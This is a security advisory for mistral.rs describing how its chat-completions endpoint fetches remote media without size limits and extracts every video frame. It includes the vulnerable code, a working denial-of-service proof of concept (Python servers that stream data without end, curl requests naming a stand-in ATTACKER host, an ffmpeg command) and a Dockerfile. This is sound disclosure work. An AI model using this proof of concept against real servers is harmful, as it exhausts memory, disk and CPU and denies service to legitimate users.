Résumé

mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS

Détails de l’avis

Unbounded Remote Media Fetch and Video Frame Expansion DoS

Summary

The POST /v1/chat/completions endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when num_frames is None. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.

Details

Three independent sinks contribute to the vulnerability:

1. Unbounded image/audio fetch (mistralrs-server-core/src/util.rs:59–62)

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    match reqwest::get(url.clone()).await {
        Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap
        Err(e) => anyhow::bail!(e),
    }

bytes().await buffers the entire HTTP response body before returning. There is no Content-Length check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.

2. Unbounded video fetch (mistralrs-server-core/src/video.rs:65–69)

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    let resp = reqwest::get(url.clone())
        .await
        .context(format!("Failed to fetch video: {url}"))?;
    resp.bytes().await?.to_vec() // no byte cap

Identical pattern to the image path; the full video body is buffered into a Vec<u8>.

3. Unbounded FFmpeg frame extraction (mistralrs-server-core/src/video.rs:225–248)

} else {
    let mut command = tokio::process::Command::new("ffmpeg");
    command
        .arg("-i")
        .arg(input_path.to_str().unwrap())
        .arg("-vsync")
        .arg("vfr")
        .arg(&output_pattern);

When num_frames is None, no -frames:v argument is passed to FFmpeg and every frame is extracted to disk. The call site at mistralrs-server-core/src/chat_completion.rs:946 always passes None:

parse_video_url(&url_unparsed, None)

A 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.

Entry point and auth

The route is registered at mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368 with only track_metrics, CORS, and a DefaultBodyLimit(50 MB) middleware. The DefaultBodyLimit applies only to the incoming JSON request body, not to the subsequent server-side reqwest::get() calls. No authentication middleware is present in the default configuration.

PoC

Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)

ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \
  -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4

Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server

# Option A: serve the video file
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "video/mp4")
        self.end_headers()
        with open("many_frames.mp4", "rb") as f:
            self.wfile.write(f.read())

HTTPServer(("0.0.0.0", 9001), H).serve_forever()
# Option B: infinite image stream (memory exhaustion, no FFmpeg required)
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/png")
        self.end_headers()
        chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8)
        while True:
            self.wfile.write(chunk)
            self.wfile.flush()
            time.sleep(0.01)

HTTPServer(("0.0.0.0", 9002), H).serve_forever()

Step 3 – Send the malicious request to the mistral.rs server

# Video variant (disk/CPU exhaustion + memory)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "default",
    "messages": [{
      "role": "user",
      "content": [
        {"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}},
        {"type": "text", "text": "summarize this video"}
      ]
    }]
  }'

# Image variant (memory exhaustion)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "default",
    "messages": [{
      "role": "user",
      "content": [
        {"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}},
        {"type": "text", "text": "describe this image"}
      ]
    }]
  }'

Expected observation

For the video variant: /tmp/mistralrs_video/<uuid>_frames/frame_*.png grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.

For the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.

Dynamic reproduction result (Phase 2)

A Docker container running a verbatim reproduction of util.rs:59–62 (the reqwest::get(url).bytes().await?.to_vec() pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.

Impact

Any user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the /v1/chat/completions endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.

Reproduction artifacts

Dockerfile

# syntax=docker/dockerfile:1
#
# VULN-001 PoC: Unbounded Remote Media Fetch DoS
# Repository: EricLBuehler/mistral.rs
# Vulnerability: mistralrs-server-core/src/util.rs:62
#   http_resp.bytes().await?.to_vec()  -- no byte cap on HTTP media fetch
#
# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.
# Stage 2: Slim runtime image used by poc.py.

# ----- build stage -----------------------------------------------------------
FROM rust:1.87-slim AS builder

WORKDIR /harness

# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)
RUN apt-get update && \
    apt-get install -y --no-install-recommends pkg-config libssl-dev && \
    rm -rf /var/lib/apt/lists/*

# Copy Cargo manifest first so that dependency layer is cached separately.
COPY vuln_harness/Cargo.toml Cargo.toml

# Stub src so `cargo fetch` / dependency download works before copying real source.
RUN mkdir -p src && echo 'fn main() {}' > src/main.rs
RUN cargo fetch 2>&1

# Now copy the real source and build.
COPY vuln_harness/src/main.rs src/main.rs
RUN cargo build --release 2>&1 && \
    strip target/release/vuln_harness

# ----- runtime stage ---------------------------------------------------------
FROM debian:bookworm-slim AS runtime

RUN apt-get update && \
    apt-get install -y --no-install-recommends ca-certificates python3 && \
    rm -rf /var/lib/apt/lists/*

COPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness

# Copy the PoC orchestration script so the image is self-contained.
COPY poc.py /poc.py

# Default: show usage
ENTRYPOINT

Références